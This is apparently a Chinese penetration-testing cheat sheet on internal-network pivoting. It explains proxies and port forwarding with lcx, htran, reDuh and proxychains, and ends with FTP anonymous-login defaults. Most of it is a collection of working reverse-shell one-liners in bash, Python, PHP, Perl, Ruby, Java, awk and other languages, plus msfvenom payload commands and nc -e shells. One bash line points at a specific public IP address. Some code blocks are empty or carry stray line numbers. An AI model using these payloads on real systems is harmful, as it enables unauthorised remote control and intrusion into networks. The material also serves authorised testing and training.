内网转发目的
渗透测试中,我们往往会面对十分复杂的内网环境。比如最常用的防火墙,它会限制特定端口的让A和C数据包出入
最典型的解释是:
A可以访问B的80端口,但不能访问B的3389端口
A可以访问B,B可以访问C,但A不能访问C。需要通过B转发数据,让A和C进行通信
知识基础
正向代理
代理通常是指正向代理。正向代理的过程,隐藏了真实的请求客户端,服务端不知道真实客户端身份,哭护短请求的服务都被代理服务器代替来请求
反向代理
反向代理是相对于服务器而言。例如:当请求www.baidu.com
时,背后可能有成千上万台服务器为我们服务,但具体是哪一台则不得而知。此时www.baidu.com
就是反向代理服务器,反向代理服务器会帮我们将请求转发到真实的服务器。比如负载均衡
内网转发三种形式
反弹Shell
- Windows反弹Shell:
nc
- Linux反弹Shell:
nc
shell: ksh
socat
udp接收:1
socat udp-listen:5555 -
Msfvenom生成
msfvenom生成任意类型反弹shell代码1
2msfvenom -l payloads | grep windows
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.20.92 LPORT=5555
Linux常用反弹shell代码
发送文件(公网发内网)
文件发送端:nc -lp 6666 < 文件
文件接收端:nc 发送端ip 发送端端口 > 新文件
发送文件(内网发公网)
文件发送端:nc -lp 6666 > 文件
文件接收端:nc 发送端ip 发送端端口 < 新文件
聊天
发送端:nc -lp 6666
接收端:nc 发送端ip 发送端端口
发送shell
发送端(公网服务器):nc -lvvp 6666 -e /bin/bash
接收端:nc 发送端ip 发送端攻击者ip
反弹shell
发送端(内网网服务器):nc 接收端ip 接收端端口 -e /bin/bash
bash反弹
发送端(受害者):bash -i >& /dev/tcp/111.230.170.95/9985 0>&1
发送端(受害者):0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31
socat反弹(tcp)
1
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
socat反弹(udp)
1
socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
python反弹
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反弹
1
php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
JAVA反弹
1
2
3r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()perl反弹
1
perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby反弹
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
telnet反弹
1
mknod backpipe p && telnet 攻击者ip 端口 0<backpipe | /bin/bash 1>backpipe
lua反弹(安装lua环境:
apt-get install lua*
)1
lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻击者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
awk反弹
1
awk 'BEGIN{s="/inet/tcp/0/攻击者ip/端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
ksh反弹
1
ksh -c 'ksh >/dev/tcp/攻击者ip/端口 2>&1 <&1'
Tip:注意接收端空换行可能导致断开连接
反弹端口
LCX
reduh
Mstsc客户端 => reDuh代理 => HTTP tunne => Web服务器 => 3389
Lcx
监听5555端口,转发至12345端口
./lcx -listen 5555 12345
转发本机80端口,至外网111.230.170.95 的 5555端口
./lcx -slave 111.230.170.95 5555 127.0.0.1 80
实验1
环境:
172.16.39.141(A)不能访问192.18.20.x网段,但可以访问172.16.39.x的内网机器(B),同时80端口只能本地访问,但是8080端口对外开放1
2
3
4
5
6
7
8
9
10
11
12
13# 被控制服务器A的80端口转发到本地8080端口
lcx -tran 8080 127.0.0.1 80
# 使用双网卡的边界主机B,与内网主机A的8080端口建立连接
# A:172.16.39.207
# B:172.16.39.141
lcx -slave 172.16.39.207 4444 172.16.39.141 8080
# 在边界主机B上监听端口4444,并将监听到的内容发送到12345
lcx -listen 4444 12345
# 外网机器访问边界主机B的外网地址的12345端口
curl http://192.168.20.198:12345
反弹代理
有时需要对内网进行更深一步的扫描和渗透,此时需要设置一个代理服务器,充当外网和内网数据转发的节点,即反弹代理,也称为反弹socket
利用系统服务
http tunnel
reduh tunna 用来反弹端口
reGeorg反弹代理ssh tunnel
ftp tunnel
frp
DNS tunnel
Ping tunnel
代理软件
proxifier简单设置
配置文件->代理服务器
地址:127.0.0.1:8888
协议:SOCKES 5
代理规则
添加应用程序,设置目标机任意
,目标端口任意
,动作Proxy SOCKS5 127.0.0.1
Kali代理1
2
3vim /etc/proxychains
socks5 127.0.0.1 8888
proxychains nmap -Pn -p 80 x.x.x.x
proxychains
htran
外网服务器执行
1
2# 监听两个端口,9001用来接收内网机器,9000连接proxychians等socket5工具的数据
HTran.exe -p -listen 9001 9000内网机器执行
1
Htran.exe -p -slave 1.1.1.1 9001 127.0.0.1 8009
配置本机socket5工具,连接外网服务器上的9000端口
推荐Earthworm
内网转发多种情况
1 |
|
常见端口转发工具
- portmap
- 花生壳
等等
补充
FTP常用命令
1 |
|
FTP匿名登录Server-U
默认账号密码:
账号:anonymous
密码:空或Email